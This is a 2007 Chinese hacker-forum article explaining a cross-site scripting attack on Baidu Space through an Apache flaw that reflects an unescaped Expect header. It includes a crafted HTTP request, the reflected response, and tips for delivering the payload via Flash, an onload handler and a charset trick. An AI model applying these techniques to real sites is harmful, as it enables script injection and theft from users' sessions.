arow 您现在的位置: Yes!黑客联盟 >> 技术 >> 黑客技术 >> 黑客文献 >> 正文
专题栏目
百度空间跨站攻击一例           
百度空间跨站攻击一例
作者:YesHack.… 文章来源:YesHack.Com 更新时间:2007-11-9 7:36:30 【字体:
百度空间跨站攻击一例
1.首先这是个Apache的老漏洞,Apache在接收Expect这个HTTP报头会直接输出报头的错误信息,错误信息的内容并没有被转义。

实际过程是这样的,我们发出一个HTTP请求,给加上报头Expect: <xss>,这个报头的内容Expect: <xss>将会被当成错误信息输出。

那么针对百度测试一下

发起一个POST请求,
Quote:
POST / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: zh-cn
Referer: http://xss.betaslife.com/baidu.swf
Content-Type: application/x-www-form-urlencoded
Expect: <xss> Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: hi.baidu.com
Content-Length: 7
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: BAIDUID=875AE724A06D77C70D79C96D1CEB6C81

xss


结果返回了如下内容

Quote:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>417 Expectation Failed</TITLE></HEAD><BODY><H1>Expectation Failed</H1>The expectation given in the Expect request-header field could not be met by this server.<P>The client sent<PRE> Expect: <xss> Accept-Encoding: gzip, deflate</PRE>but we only allow the 100-continue expectation.</BODY></HTML>


根据测试的结果发现百度空间的所有服务器都存在这个漏洞,当然现在很多大网站也存在这样的问题。

2.再来看看这个漏洞,这个漏洞的跨站脚本是在主域名下实现的,也就是我们可以在hi.baidu.com下写任意的脚本内容.

大家都知道现在百度空间的富文本编辑做得比较安全,基本上没有什么跨站脚本漏洞,上面测试出了漏洞,那么利用这个Apache漏洞我们就能做一些邪恶的事情,要找出能发出这个HTTP报头的方法,如果利用AJAX技术是会有域限制的,所以我们只能利用FLASH文件。

在实际测试过程中遇到了一些问题,Expect头输出的内容是延时的,很多如DOCUMENT.WRITE和NEW IMGE()的方法也都会失效,直接

Expect: <script src=http://xxx.com/xx.js></script>远程链接一个脚本也不会被执行,所以我们只能用<body onload=xxx>类似的方法在网页加载时就运行脚本。

然后最主要的是浏览器的编码问题,当发起这个请求后返回的页面大部分是UNICODE编码,也就是你想写入的JAVASCRIPT不能包含中文,这里LUOLUO哥教了我一个小技巧指定脚本标记中的编码 <script charset="" xxxx

突破了这两个问题就能直接实现我们的攻击。

3.其他重点就不再多说了,毕竟这个老漏洞还有一定的危害。

 


友情提示:如果您对本文章的内容存在疑问请到点此进入论坛进行讨论

文章录入:YesHack    责任编辑:YesHack 
  • 上一篇文章:

  • 下一篇文章:
  •